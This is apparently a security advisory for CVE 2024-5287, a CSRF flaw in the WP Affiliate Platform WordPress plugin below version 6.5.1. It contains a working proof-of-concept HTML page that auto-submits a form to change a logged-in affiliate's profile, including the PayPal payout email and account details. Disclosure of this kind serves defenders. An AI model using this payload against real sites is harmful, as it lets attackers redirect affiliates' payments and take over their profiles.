WP Affiliate Platform < 6.5.1 – Profile Update via CSRF | CVE 2024-5287

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in user change them via a CSRF attack

Proof of Concept

Have any affiliate user open an HTML file containing:

```
<html>
  <body>
    <form action="https://example.com/affiliate-portal/?wp_affiliate_view=details" method="POST">

        <input type="text" name="clientfirstname" value="csrf" required>
        <input type="text" name="clientlastname" value="csrf" required>
        <input type="email" name="clientemail" value="crsf@required.com" required>
        <input type="email" name="clientpaypalemail" value="csrf_paypal_email@required.com" required>
        <input type="text" name="tax_id" value="csrf_get_paid" required>
        <textarea name="account_details">csrf_get_$$$</textarea>
        <select name="clienttitle">
            <option value="Mr">Mr</option>
        </select>
    
        <input type="text" name="clientcompany">
        <input type="text" name="webpage">
        <input type="text" name="clientstreet">
        <input type="text" name="clienttown">
        <input type="text" name="clientstate">
        <input type="text" name="clientpostcode">
        <input type="text" name="clientphone">
        <input type="text" name="clientfax">
    
        <input type="password" name="password">
        <input type="password" name="encrypted-pass">
    
        <label for="commited">
            <input type="checkbox" id="commited" name="commited" value="yes" checked> I am committed
        </label>
        
        <input type="submit" name="Submit" value="Update">
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```